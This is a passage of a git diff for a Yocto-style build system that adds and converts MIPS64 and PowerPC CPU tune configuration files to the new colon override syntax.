+TUNE_FEATURES:tune-mips64r2-o32 = "${TUNE_FEATURES:tune-mips64-o32} mips64r2"
+BASE_LIB:tune-mips64r2-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
+QEMU_EXTRAOPTIONS_mips64r2-o32 = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el-o32 = "${TUNE_FEATURES:tune-mips64el-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
+QEMU_EXTRAOPTIONS_mips64r2el-o32 = " -cpu MIPS64R2-generic"
+
+# MIPS 64r2 o32 and Soft Float
+AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
+
+TUNE_FEATURES:tune-mips64r2-nf-o32 = "${TUNE_FEATURES:tune-mips64-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
+QEMU_EXTRAOPTIONS_mips64r2-nf-o32 = " -cpu MIPS64R2-generic"
+
+TUNE_FEATURES:tune-mips64r2el-nf-o32 = "${TUNE_FEATURES:tune-mips64el-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
+QEMU_EXTRAOPTIONS_mips64r2el-nf-o32 = " -cpu MIPS64R2-generic"
diff --git a/meta/conf/machine/include/mips/tune-mips64r6.inc b/meta/conf/machine/include/mips/tune-mips64r6.inc
new file mode 100644
index 0000000000..b4a7e9ef1b
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r6.inc
@@ -0,0 +1,58 @@
+DEFAULTTUNE ?= "mipsisa64r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
+
+# Base Tunes
+AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
+
+TUNE_FEATURES:tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6 = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6 = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6 = "mipsisa64r6"
+
+TUNE_FEATURES:tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el = "mipsisa64r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf = "mipsisa64r6-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
+
+# MIPS 64r6 n32
+AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
+
+# MIPS 64r6 n32 and Soft Float
+AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/mips/tune-octeon.inc b/meta/conf/machine/include/mips/tune-octeon.inc
new file mode 100644
index 0000000000..d4670e3259
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-octeon.inc
@@ -0,0 +1,32 @@
+DEFAULTTUNE ?="octeon2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
+
+TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon2 = "${TUNE_FEATURES:tune-mips64-n32} octeon2"
+BASE_LIB:tune-octeon2 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon2 = "octeon2"
+PACKAGE_EXTRA_ARCHS:tune-octeon2 = "mips64-n32 octeon2-n32"
+
+TUNE_FEATURES:tune-octeon2_64 = "${TUNE_FEATURES:tune-mips64} octeon2"
+BASE_LIB:tune-octeon2_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon2_64 = "octeon2_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon2_64 = "mips64 octeon2_64"
+
+
+TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon3 = "${TUNE_FEATURES:tune-mips64-n32} octeon3"
+BASE_LIB:tune-octeon3 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon3 = "octeon3"
+PACKAGE_EXTRA_ARCHS:tune-octeon3 = "mips64-n32 octeon3-n32"
+
+TUNE_FEATURES:tune-octeon3_64 = "${TUNE_FEATURES:tune-mips64} octeon3"
+BASE_LIB:tune-octeon3_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon3_64 = "octeon3_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/powerpc/README b/meta/conf/machine/include/powerpc/README
index e87fb5082c..e813d21818 100644
--- a/meta/conf/machine/include/powerpc/README
+++ b/meta/conf/machine/include/powerpc/README
@@ -12,6 +12,6 @@ May of the PowerPC package archictures are based on legacy Linux names.
However, a general naming scheme should be similar to: ppc[64][<family>][-nf].
(Note: the default package architectures are "powerpc" and "powerpc64".)
-TUNE_PKGARCH is defined as TUNE_PKGARCH_tune-${DEFAULTTUNE}. All
-PowerPC tunings are required to define TUNE_PKGARCH_tune-<tune>.
+TUNE_PKGARCH is defined as TUNE_PKGARCH:tune-${DEFAULTTUNE}. All
+PowerPC tunings are required to define TUNE_PKGARCH:tune-<tune>.
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc.inc b/meta/conf/machine/include/powerpc/arch-powerpc.inc
index ef18e9ac8b..be687e2df7 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc.inc
@@ -5,7 +5,7 @@
DEFAULTTUNE ?= "powerpc"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
ABIEXTENSION ?= ""
# Endian
@@ -30,22 +30,22 @@ TUNEVALID[altivec] = "Altivec"
# Basic tune definitions
AVAILTUNES += "powerpc powerpc-nf powerpcle powerpcle-nf"
-TUNE_FEATURES_tune-powerpc-nf = "m32 fpu-soft bigendian"
-BASE_LIB_tune-powerpc-nf = "lib"
-TUNE_PKGARCH_tune-powerpc-nf = "powerpc-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpc-nf = "powerpc-nf"
-
-TUNE_FEATURES_tune-powerpc = "m32 fpu-hard bigendian"
-BASE_LIB_tune-powerpc = "lib"
-TUNE_PKGARCH_tune-powerpc = "powerpc"
-PACKAGE_EXTRA_ARCHS_tune-powerpc = "powerpc"
-
-TUNE_FEATURES_tune-powerpcle-nf = "m32 fpu-soft"
-BASE_LIB_tune-powerpcle-nf = "lib"
-TUNE_PKGARCH_tune-powerpcle-nf = "powerpcle-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle-nf = "powerpcle-nf"
-
-TUNE_FEATURES_tune-powerpcle = "m32 fpu-hard"
-BASE_LIB_tune-powerpcle = "lib"
-TUNE_PKGARCH_tune-powerpcle = "powerpcle"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle = "powerpcle"
+TUNE_FEATURES:tune-powerpc-nf = "m32 fpu-soft bigendian"
+BASE_LIB:tune-powerpc-nf = "lib"
+TUNE_PKGARCH:tune-powerpc-nf = "powerpc-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpc-nf = "powerpc-nf"
+
+TUNE_FEATURES:tune-powerpc = "m32 fpu-hard bigendian"
+BASE_LIB:tune-powerpc = "lib"
+TUNE_PKGARCH:tune-powerpc = "powerpc"
+PACKAGE_EXTRA_ARCHS:tune-powerpc = "powerpc"
+
+TUNE_FEATURES:tune-powerpcle-nf = "m32 fpu-soft"
+BASE_LIB:tune-powerpcle-nf = "lib"
+TUNE_PKGARCH:tune-powerpcle-nf = "powerpcle-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle-nf = "powerpcle-nf"
+
+TUNE_FEATURES:tune-powerpcle = "m32 fpu-hard"
+BASE_LIB:tune-powerpcle = "lib"
+TUNE_PKGARCH:tune-powerpcle = "powerpcle"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle = "powerpcle"
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc64.inc b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
index cf5c3ef8e6..2533151869 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc64.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
@@ -10,17 +10,14 @@ TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', [ 'm64' ], 'powerpc64${ENDIA
# musl only supports elfv2 ABI for ppc64
TUNE_CCARGS .= "${@['', ' -mabi=elfv2']['libc-musl' in d.getVar('OVERRIDES').split(':')]}"
-# user mode qemu doesn't support ppc64
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'qemu-usermode', '', d)}"
-
AVAILTUNES += "powerpc64 powerpc64le"
-TUNE_FEATURES_tune-powerpc64 = "m64 fpu-hard bigendian"
-BASE_LIB_tune-powerpc64 = "lib64"
-TUNE_PKGARCH_tune-powerpc64 = "powerpc64"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64 = "powerpc64"
+TUNE_FEATURES:tune-powerpc64 = "m64 fpu-hard bigendian"
+BASE_LIB:tune-powerpc64 = "lib64"
+TUNE_PKGARCH:tune-powerpc64 = "powerpc64"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64 = "powerpc64"
-TUNE_FEATURES_tune-powerpc64le = "m64 fpu-hard"
-BASE_LIB_tune-powerpc64le = "lib64"
-TUNE_PKGARCH_tune-powerpc64le = "powerpc64le"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64le = "powerpc64le"
+TUNE_FEATURES:tune-powerpc64le = "m64 fpu-hard"
+BASE_LIB:tune-powerpc64le = "lib64"
+TUNE_PKGARCH:tune-powerpc64le = "powerpc64le"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64le = "powerpc64le"
diff --git a/meta/conf/machine/include/powerpc/tune-power5.inc b/meta/conf/machine/include/powerpc/tune-power5.inc
new file mode 100644
index 0000000000..e70e401217
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power5.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp5"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
+
+AVAILTUNES += "ppcp5 ppc64p5"
+TUNE_FEATURES:tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppcp5 = "lib"
+TUNE_PKGARCH:tune-ppcp5 = "ppcp5"
+PACKAGE_EXTRA_ARCHS:tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp5"
+
+TUNE_FEATURES:tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppc64p5 = "lib64"
+TUNE_PKGARCH:tune-ppc64p5 = "ppc64p5"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p5"
+
+# glibc configure options to get power5 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power6.inc b/meta/conf/machine/include/powerpc/tune-power6.inc
new file mode 100644
index 0000000000..eaf89515ca
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power6.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp6"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
+
+AVAILTUNES += "ppcp6 ppc64p6"
+TUNE_FEATURES:tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppcp6 = "lib"
+TUNE_PKGARCH:tune-ppcp6 = "ppcp6"
+PACKAGE_EXTRA_ARCHS:tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp6"
+
+TUNE_FEATURES:tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppc64p6 = "lib64"
+TUNE_PKGARCH:tune-ppc64p6 = "ppc64p6"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p6"
+
+# glibc configure options to get power6 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power7.inc b/meta/conf/machine/include/powerpc/tune-power7.inc
new file mode 100644
index 0000000000..4531ddd85f
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power7.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp7"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
+
+AVAILTUNES += "ppcp7 ppc64p7"
+TUNE_FEATURES:tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppcp7 = "lib"
+TUNE_PKGARCH:tune-ppcp7 = "ppcp7"
+PACKAGE_EXTRA_ARCHS:tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp7"
+
+TUNE_FEATURES:tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppc64p7 = "lib64"
+TUNE_PKGARCH:tune-ppc64p7 = "ppc64p7"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p7"
+
+# glibc configure options to get power7 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power8.inc b/meta/conf/machine/include/powerpc/tune-power8.inc
new file mode 100644
index 0000000000..ee10f2428f
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power8.inc
@@ -0,0 +1,31 @@
+DEFAULTTUNE ?= "ppc64p8le"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power8] = "Enable IBM Power8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power8', ' -mcpu=power8', '', d)}"
+
+AVAILTUNES += "ppcp8 ppc64p8 ppcp8le ppc64p8le"
+
+TUNE_FEATURES:tune-ppcp8 = "m32 fpu-hard power8 altivec bigendian"
+BASE_LIB:tune-ppcp8 = "lib"
+TUNE_PKGARCH:tune-ppcp8 = "ppcp8"
+PACKAGE_EXTRA_ARCHS:tune-ppcp8 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp8"
+
+TUNE_FEATURES:tune-ppc64p8 = "m64 fpu-hard power8 altivec bigendian"
+BASE_LIB:tune-ppc64p8 = "lib64"
+TUNE_PKGARCH:tune-ppc64p8 = "ppc64p8"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p8 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p8"
+
+TUNE_FEATURES:tune-ppcp8le = "m32 fpu-hard power8 altivec"
+BASE_LIB:tune-ppcp8le = "lib"
+TUNE_PKGARCH:tune-ppcp8le = "ppcp8le"
+PACKAGE_EXTRA_ARCHS:tune-ppcp8le = "${PACKAGE_EXTRA_ARCHS:tune-powerpcle} ppcp8le"
+
+TUNE_FEATURES:tune-ppc64p8le = "m64 fpu-hard power8 altivec"
+BASE_LIB:tune-ppc64p8le = "lib64"
+TUNE_PKGARCH:tune-ppc64p8le = "ppc64p8le"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p8le = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64le} ppc64p8le"
+
+# glibc configure options to get power8 specific library
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'power8', '--with-cpu=power8', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power9.inc b/meta/conf/machine/include/powerpc/tune-power9.inc
new file mode 100644
index 0000000000..6744731f8e
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power9.inc
@@ -0,0 +1,31 @@
+DEFAULTTUNE ?= "ppc64p9le"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power9] = "Enable IBM Power9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' -mcpu=power9', '', d)}"
+
+AVAILTUNES += "ppcp9 ppc64p9 ppcp9le ppc64p9le"
+
+TUNE_FEATURES:tune-ppcp9 = "m32 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppcp9 = "lib"
+TUNE_PKGARCH:tune-ppcp9 = "ppcp9"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp9"
+
+TUNE_FEATURES:tune-ppc64p9 = "m64 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppc64p9 = "lib64"
+TUNE_PKGARCH:tune-ppc64p9 = "ppc64p9"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p9"
+
+TUNE_FEATURES:tune-ppcp9le = "m32 fpu-hard power9 altivec"
+BASE_LIB:tune-ppcp9le = "lib"
+TUNE_PKGARCH:tune-ppcp9le = "ppcp9le"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpcle} ppcp9le"
+
+TUNE_FEATURES:tune-ppc64p9le = "m64 fpu-hard power9 altivec"
+BASE_LIB:tune-ppc64p9le = "lib64"
+TUNE_PKGARCH:tune-ppc64p9le = "ppc64p9le"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64le} ppc64p9le"
+
+# glibc configure options to get power9 specific library
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc476.inc b/meta/conf/machine/include/powerpc/tune-ppc476.inc
new file mode 100644
index 0000000000..54152cb941
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc476.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc476"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
+
+AVAILTUNES += "ppc476"
+TUNE_FEATURES:tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
+TUNE_PKGARCH:tune-ppc476 = "ppc476"
+PACKAGE_EXTRA_ARCHS:tune-ppc476 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc476"
+
+# glibc configure options to get 476 specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc603e.inc b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
new file mode 100644
index 0000000000..28680bdb3c
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "ppc603e"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
+
+AVAILTUNES += "ppc603e"
+TUNE_FEATURES:tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
+TUNE_PKGARCH:tune-ppc603e = "ppc603e"
+PACKAGE_EXTRA_ARCHS:tune-ppc603e = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc603e"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc7400.inc b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
new file mode 100644
index 0000000000..49b94f5ee1
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "ppc7400"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
+
+AVAILTUNES += "ppc7400"
+TUNE_FEATURES:tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
+TUNE_PKGARCH:tune-ppc7400 = "ppc7400"
+PACKAGE_EXTRA_ARCHS:tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc7400"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c2.inc b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
new file mode 100644
index 0000000000..90171c76d5
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "ppce300c2"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
+
+AVAILTUNES += "ppce300c2"
+TUNE_FEATURES:tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
+TUNE_PKGARCH:tune-ppce300c2 = "ppce300c2"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c3.inc b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
new file mode 100644
index 0000000000..31aff51af3
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
@@ -0,0 +1,20 @@
+DEFAULTTUNE ?= "ppce300c3"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+AVAILTUNES += "ppce300c3 ppce300c3-nf"
+
+# hard-float
+TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
+TUNE_FEATURES:tune-ppce300c3 = "${TUNE_FEATURES:tune-powerpc} ppce300c3"
+TUNE_PKGARCH:tune-ppce300c3 = "ppce300c3"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce300c3"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
+
+# soft-float
+TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
+TUNE_FEATURES:tune-ppce300c3-nf = "${TUNE_FEATURES:tune-powerpc-nf} ppce300c3-nf"
+TUNE_PKGARCH:tune-ppce300c3-nf = "ppce300c3-nf"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c3-nf"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
+
diff --git a/meta/conf/machine/include/tune-ppce500.inc b/meta/conf/machine/include/powerpc/tune-ppce500.inc
index abf81b90c4..aceab321b7 100644
--- a/meta/conf/machine/include/tune-ppce500.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500"
-TUNE_FEATURES_tune-ppce500 = "m32 spe ppce500 bigendian"
-TUNE_PKGARCH_tune-ppce500 = "ppce500"
-PACKAGE_EXTRA_ARCHS_tune-ppce500 = "ppce500"
+TUNE_FEATURES:tune-ppce500 = "m32 spe ppce500 bigendian"
+TUNE_PKGARCH:tune-ppce500 = "ppce500"
+PACKAGE_EXTRA_ARCHS:tune-ppce500 = "ppce500"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce500mc.inc b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
new file mode 100644
index 0000000000..036f8b2631
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppce500mc"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
